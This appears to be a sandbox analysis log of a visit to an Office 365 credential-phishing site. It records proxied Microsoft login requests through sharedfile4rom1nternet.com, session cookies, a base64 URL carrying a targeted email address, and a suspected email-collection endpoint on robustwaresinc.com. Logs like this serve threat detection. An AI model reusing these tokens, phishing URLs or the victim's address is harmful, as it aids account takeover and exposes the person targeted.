esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeBVOx09AFo3lVeaSFn2MFDrIIpYMTGQT8eah9hgO2fvwEjWvBa3psNgDXkm2t2TIyqewajAEEaVL3de4j6q-K498TbqV6xdNZ7on55Qzh1Drch4JC2bSnySHatXQjpuIEJTwj9YJSjyXzewZPlRXP0iAA; fpc=Avn7DxbZNW5Duk-Ql76pr3qerOTJAQAAAGUw0d4OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msftauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_pidpdisambiguation_8442c9722efe126153de.js HTTP/1.1Host: sharedfile4rom1nternet.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeBVOx09AFo3lVeaSFn2MFDrIIpYMTGQT8eah9hgO2fvwEjWvBa3psNgDXkm2t2TIyqewajAEEaVL3de4j6q-K498TbqV6xdNZ7on55Qzh1Drch4JC2bSnySHatXQjpuIEJTwj9YJSjyXzewZPlRXP0iAA; fpc=Avn7DxbZNW5Duk-Ql76pr3qerOTJAQAAAGUw0d4OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /common/instrumentation/dssostatus HTTP/1.1Host: sharedfile4rom1nternet.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeBVOx09AFo3lVeaSFn2MFDrIIpYMTGQT8eah9hgO2fvwEjWvBa3psNgDXkm2t2TIyqewajAEEaVL3de4j6q-K498TbqV6xdNZ7on55Qzh1Drch4JC2bSnySHatXQjpuIEJTwj9YJSjyXzewZPlRXP0iAA; fpc=Avn7DxbZNW5Duk-Ql76pr3qerOTJAQAAAGUw0d4OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msftauth.net/~/shared/1.0/content/images/picker_account_aad_f83ebff69a4a1685e4dc9650cdab8886.svg HTTP/1.1Host: sharedfile4rom1nternet.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1rZWxseWIlNDBjaHctaW5jLmNvbSZjbGllbnQtcmVxdWVzdC1pZD1iMDk1MWIzZi1iYTEzLTQ3MzEtY2QwNy1kOTVkN2MyZjUyZmQmcHJvdGVjdGVkdG9rZW49dHJ1ZSZjbGFpbXM9JTdiJTIyaWRfdG9rZW4lMjIlM2ElN2IlMjJ4bXNfY2MlMjIlM2ElN2IlMjJ2YWx1ZXMlMjIlM2ElNWIlMjJDUDElMjIlNWQlN2QlN2QlN2Qmbm9uY2U9NjM4Njc3OTM0OTYzOTQ2ODQ1LjJmNWZmNjdmLWVjMTItNDRkYS04ZmI2LTkxYWZiNDFlYzFhMSZzdGF0ZT1EWXRCRG9NZ0VBQ2h2c1hqcXNpNndLSHhLUTFRdDVKU3VEUXhfWDMzTUhPWVpMUlNhaEJ1Z2w1RXlwSDE1Rnl3R01nR0pJX2J0UExHVEk3aHlHWUZ4R2NFejRrZ21NZ0pqZFJvdEx6ajNLODQ3N1dfU251Y3BYM3Y3NlBXWHhweHllY0ZwZVVwOTg4Zg==&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeBVOx09AFo3lVeaSFn2MFDrIIpYMTGQT8eah9hgO2fvwEjWvBa3psNgDXkm2t2TIyqewajAEEaVL3de4j6q-K498TbqV6xdNZ7on55Qzh1Drch4JC2bSnySHatXQjpuIEJTwj9YJSjyXzewZPlRXP0iAA; fpc=Avn7DxbZNW5Duk-Ql76pr3qerOTJAQAAAGUw0d4OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msftauth.net/~/shared/1.0/content/images/picker_account_msa_2d8f86059be176833897099ee6ddedeb.svg HTTP/1.1Host: sharedfile4rom1nternet.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1rZWxseWIlNDBjaHctaW5jLmNvbSZjbGllbnQtcmVxdWVzdC1pZD1iMDk1MWIzZi1iYTEzLTQ3MzEtY2QwNy1kOTVkN2MyZjUyZmQmcHJvdGVjdGVkdG9rZW49dHJ1ZSZjbGFpbXM9JTdiJTIyaWRfdG9rZW4lMjIlM2ElN2IlMjJ4bXNfY2MlMjIlM2ElN2IlMjJ2YWx1ZXMlMjIlM2ElNWIlMjJDUDElMjIlNWQlN2QlN2QlN2Qmbm9uY2U9NjM4Njc3OTM0OTYzOTQ2ODQ1LjJmNWZmNjdmLWVjMTItNDRkYS04ZmI2LTkxYWZiNDFlYzFhMSZzdGF0ZT1EWXRCRG9NZ0VBQ2h2c1hqcXNpNndLSHhLUTFRdDVKU3VEUXhfWDMzTUhPWVpMUlNhaEJ1Z2w1RXlwSDE1Rnl3R01nR0pJX2J0UExHVEk3aHlHWUZ4R2NFejRrZ21NZ0pqZFJvdEx6ajNLODQ3N1dfU251Y3BYM3Y3NlBXWHhweHllY0ZwZVVwOTg4Zg==&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeBVOx09AFo3lVeaSFn2MFDrIIpYMTGQT8eah9hgO2fvwEjWvBa3psNgDXkm2t2TIyqewajAEEaVL3de4j6q-K498TbqV6xdNZ7on55Qzh1Drch4JC2bSnySHatXQjpuIEJTwj9YJSjyXzewZPlRXP0iAA; fpc=Avn7DxbZNW5Duk-Ql76pr3qerOTJAQAAAGUw0d4OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msftauth.net/~/shared/1.0/content/images/picker_account_aad_f83ebff69a4a1685e4dc9650cdab8886.svg HTTP/1.1Host: sharedfile4rom1nternet.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeBVOx09AFo3lVeaSFn2MFDrIIpYMTGQT8eah9hgO2fvwEjWvBa3psNgDXkm2t2TIyqewajAEEaVL3de4j6q-K498TbqV6xdNZ7on55Qzh1Drch4JC2bSnySHatXQjpuIEJTwj9YJSjyXzewZPlRXP0iAA; fpc=Avn7DxbZNW5Duk-Ql76pr3qerOTJAQAAAGUw0d4OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msftauth.net/~/shared/1.0/content/images/picker_account_msa_2d8f86059be176833897099ee6ddedeb.svg HTTP/1.1Host: sharedfile4rom1nternet.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeBVOx09AFo3lVeaSFn2MFDrIIpYMTGQT8eah9hgO2fvwEjWvBa3psNgDXkm2t2TIyqewajAEEaVL3de4j6q-K498TbqV6xdNZ7on55Qzh1Drch4JC2bSnySHatXQjpuIEJTwj9YJSjyXzewZPlRXP0iAA; fpc=Avn7DxbZNW5Duk-Ql76pr3qerOTJAQAAAGUw0d4OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /tracking/click?d=VWPZwayGPMFe83M_Z6u2UpehAs36wAYs3Y6NEVBHKxivuxVFQ3q1Rys4HsOBEYKNp58Tny43BzHQoQQfMB4kDOq2N3PJCBYn_6lp8WVRaFAn6IW5-ZdMGiRNIrtDGSDNetxAKaSEHnZO_3Fv2apiBiV7oawEZYbV-DfVveNbSspRZLwsrmwAwG1nBVNr_9p41Q2 HTTP/1.1Host: tracking.adscarat.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org
Source: global traffic	DNS traffic detected: DNS query: dclima.cl
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: robustwaresinc.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: sharedfile4rom1nternet.com
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net
Source: global traffic	DNS traffic detected: DNS query: outlook.office365.com
Source: global traffic	DNS traffic detected: DNS query: r4.res.office365.com
Source: global traffic	DNS traffic detected: DNS query: autologon.microsoftazuread-sso.com

Source: unknown

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1900004869:1732193398:xYxRnhRTLYoBzVFerUjl_gT9us-M5K-J0PAZyirTKEo/8e611d89ebaa43cf/OOWdfnwMazG9.hEkl1zZh895VE0DTIBBhmUxp6h..Cs-1732196676-1.1.1.1-QNch6E4NmRyaMcK5js34.zZCK4cR6woy34tQ1NVH5yfne78WeJKqDAjjLHEE6LWg HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveContent-Length: 3274sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-type: application/x-www-form-urlencodedsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36CF-Challenge: OOWdfnwMazG9.hEkl1zZh895VE0DTIBBhmUxp6h..Cs-1732196676-1.1.1.1-QNch6E4NmRyaMcK5js34.zZCK4cR6woy34tQ1NVH5yfne78WeJKqDAjjLHEE6LWgsec-ch-ua-platform: "Windows"Accept: */*Origin: https://challenges.cloudflare.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/b7vhb/0x4AAAAAAA0I-nPFyuQ7OkeQ/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Nov 2024 13:44:42 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: Byl3UvCQUq8kNoK1j7waohuKzi5n3PD2cRw=$WscAU9zfrWC0W2QsServer: cloudflareCF-RAY: 8e611db3f8b67279-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Nov 2024 13:44:49 GMTContent-Type: application/jsonContent-Length: 7Connection: closecf-chl-out: nF1uv9dg4An4gb10AGRytbLUYOuWt5mlT7g=$2yz6l456ESCQ3feXcache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Server: cloudflareCF-RAY: 8e611ddb3a4942a3-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Nov 2024 13:44:55 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: OCoGZnz34/TUVSZ7DQIGPwL2+KOwo/F7GIY=$R9hfHWLrUVTKm3U2Server: cloudflareCF-RAY: 8e611e038e283344-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: privateSet-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponlyStrict-Transport-Security: max-age=31536000; includeSubDomainsP3P: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: 89666e8f-345e-40c1-bbd0-153139721300x-ms-ests-server: 2.1.19395.9 - SEC ProdSlicesnel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.PReferrer-Policy: strict-origin-when-cross-originDate: Thu, 21 Nov 2024 13:45:09 GMTConnection: closeContent-Length: 0Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';

Source: 77EC63BDA74BD0D0E0426DC8F80085060.2.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: chromecache_196.14.dr, chromecache_185.14.dr	String found in binary or memory: http://feross.org
Source: chromecache_186.14.dr	String found in binary or memory: http://github.com/jquery/globalize
Source: chromecache_204.14.dr, chromecache_202.14.dr, chromecache_203.14.dr, chromecache_200.14.dr	String found in binary or memory: http://knockoutjs.com/
Source: chromecache_202.14.dr, chromecache_203.14.dr	String found in binary or memory: http://www.json.org/json2.js
Source: chromecache_204.14.dr, chromecache_202.14.dr, chromecache_203.14.dr, chromecache_200.14.dr	String found in binary or memory: http://www.opensource.org/licenses/mit-license.php)
Source: 2D85F72862B55C4EADD9E66E06947F3D0.2.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: f64aee7c-f98d-48ef-9bc7-22a10174345d.tmp.3.dr	String found in binary or memory: https://chrome.cloudflare-dns.com
Source: chromecache_225.14.dr, chromecache_196.14.dr, chromecache_183.14.dr, chromecache_204.14.dr, chromecache_185.14.dr, chromecache_229.14.dr, chromecache_213.14.dr, chromecache_200.14.dr	String found in binary or memory: https://github.com/douglascrockford/JSON-js
Source: chromecache_202.14.dr, chromecache_203.14.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.analytics-web-2.min.js
Source: chromecache_205.14.dr	String found in binary or memory: https://login.microsoftonline.com
Source: chromecache_205.14.dr	String found in binary or memory: https://login.windows-ppe.net
Source: chromecache_216.14.dr	String found in binary or memory: https://robustwaresinc.com/?rebzqncw?&email=

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
